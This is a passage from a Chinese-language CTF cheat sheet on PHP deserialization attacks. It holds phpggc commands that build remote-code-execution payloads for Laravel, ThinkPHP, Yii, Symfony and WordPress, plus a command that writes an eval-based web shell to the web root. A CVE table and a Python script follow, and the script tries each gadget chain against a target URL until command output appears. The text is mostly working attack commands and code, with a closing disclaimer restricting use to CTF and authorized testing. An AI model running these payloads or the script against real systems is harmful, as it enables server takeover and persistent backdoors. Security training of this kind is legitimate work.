./phpggc -l Symfony
./phpggc -l WordPress
./phpggc -l Drupal

# 生成 Payload(base64 编码)
./phpggc <Chain> <function> <argument> -b

# 生成 Payload(URL 编码)
./phpggc <Chain> <function> <argument> -u

# 生成 Payload(原始二进制)
./phpggc <Chain> <function> <argument> -o output.bin

# 生成 Phar 文件
./phpggc <Chain> <function> <argument> --phar phar -o evil.phar

# 生成并包装(base64 + URL 双编码)
./phpggc <Chain> <function> <argument> -b -u

# 常用示例
./phpggc Laravel/RCE1    system "cat /flag" -b
./phpggc Laravel/RCE8    system "cat /flag" -b
./phpggc ThinkPHP/RCE1   system "cat /flag" -b
./phpggc ThinkPHP/RCE3   system "cat /flag" -b
./phpggc Yii/RCE1        system "cat /flag" -b
./phpggc Symfony/RCE1    system "cat /flag" -b
./phpggc WordPress/RCE1  system "cat /flag" -b

# 生成写 WebShell 的 Payload
./phpggc Laravel/RCE1 file_put_contents "/var/www/html/s.php" "<?php @eval(\$_POST[1]);?>" -b

C. CVE 速查

CVE PHP 版本 描述 影响
CVE-2016-7124 5.x<5.6.25, 7.x<7.0.10 __wakeup 属性数不一致绕过 绕过 __wakeup 安全检查
CVE-2019-11043 7.1.x<7.1.33, 7.2.x<7.2.24, 7.3.x<7.3.11 PHP-FPM 环境变量注入 RCE
CVE-2020-7064 <7.2.29, <7.3.16 exif_read_data 越界读取 信息泄露
CVE-2022-31625 <8.1.8 反序列化中的 pg_query 触发 UAF → RCE

D. 一键生成与发送脚本

#!/usr/bin/env python3
"""
PHP 反序列化 CTF 一键脚本
支持:直接 RCE、写 WebShell、Phar 利用
"""
import subprocess, requests, base64, sys, os
import argparse

PHPGGC = "./phpggc/phpggc"

def gen(chain, func, arg, encode="-b"):
    r = subprocess.run([PHPGGC] + chain.split() + [func, arg, encode],
                       capture_output=True, text=True)
    return r.stdout.strip()

def send(url, param, payload, method="GET", cookie=None):
    h = {}
    if cookie:
        h["Cookie"] = cookie
    if method.upper() == "GET":
        r = requests.get(url, params={param: payload}, headers=h, timeout=10)
    else:
        r = requests.post(url, data={param: payload}, headers=h, timeout=10)
    return r.text

# 主程序
chains = [
    "Laravel/RCE1", "Laravel/RCE2", "Laravel/RCE3",
    "Laravel/RCE8", "ThinkPHP/RCE1", "ThinkPHP/RCE2",
    "ThinkPHP/RCE3", "Yii/RCE1", "Yii/RCE2",
]

TARGET = "http://target.com/vuln.php"
PARAM  = "data"
CMD    = "cat /flag"

print(f"[*] 目标:{TARGET}")
print(f"[*] 命令:{CMD}")
print()

for chain in chains:
    payload = gen(chain, "system", CMD)
    if not payload:
        continue
    print(f"[*] 尝试链:{chain}")
    resp = send(TARGET, PARAM, payload)
    if "flag{" in resp or "uid=" in resp:
        print(f"[!] 成功!链:{chain}")
        print(f"    输出:{resp[:300]}")
        break
    else:
        print(f"    无明显输出: {resp[:60]}")

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。PHP 反序列化攻击在未经授权的系统上使用属于违法行为,请在合法合规的环境中学习与实践。